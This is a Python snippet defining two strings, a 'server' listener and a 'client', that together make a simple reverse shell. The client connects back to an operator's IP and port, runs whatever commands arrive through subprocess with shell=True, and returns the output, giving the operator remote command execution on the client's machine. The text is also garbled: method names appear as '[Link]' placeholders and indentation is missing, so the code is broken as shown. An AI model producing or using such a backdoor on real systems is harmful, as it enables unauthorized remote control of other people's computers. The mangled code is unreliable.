server = """
import socket
host = input('Enter your IP: ')
port = int(input('Enter the port: '))
connect = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((host, port))
[Link]()
print(f'\033[93mListening on {host}:{port}\033[0m')
c, addr = [Link]()
print(f'Got connection from {addr}')
while True:
try:
data = input('➡️ \033[91mEnter the command: \033[0m')
#if not data:
#pass
[Link]([Link]('utf-8')) # Send command to client
rcv = [Link](4096)
if not rcv:
print('Connection closed by client.')
break
print([Link]('utf-8'))
except Exception as e:
print(f'Error: {e}')
break
[Link]()
[Link]()
"""
client = """
import socket
import subprocess
import os
[Link]('clear')
IP = input('\033[94mPut the IP which you wrote in [Link]: \033[0m')
print ('')
PORT = int(input('\033[92mPut the port which you wrote in the [Link]: \033[0m'))
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((IP, PORT))
while True:
try:
command = [Link](4096).decode('utf-8') # Receive command
if not command: # If server closes connection
print('Connection closed by server.')
break
output = [Link](command, shell=True, stderr=[Link])
[Link](output)
except [Link] as e: # Handle command errors
[Link](f"Command error: {[Link]('utf-8')}".encode('utf-8'))
except Exception as e: # Handle other errors
[Link](f"Error: {str(e)}".encode('utf-8'))
[Link]()
"""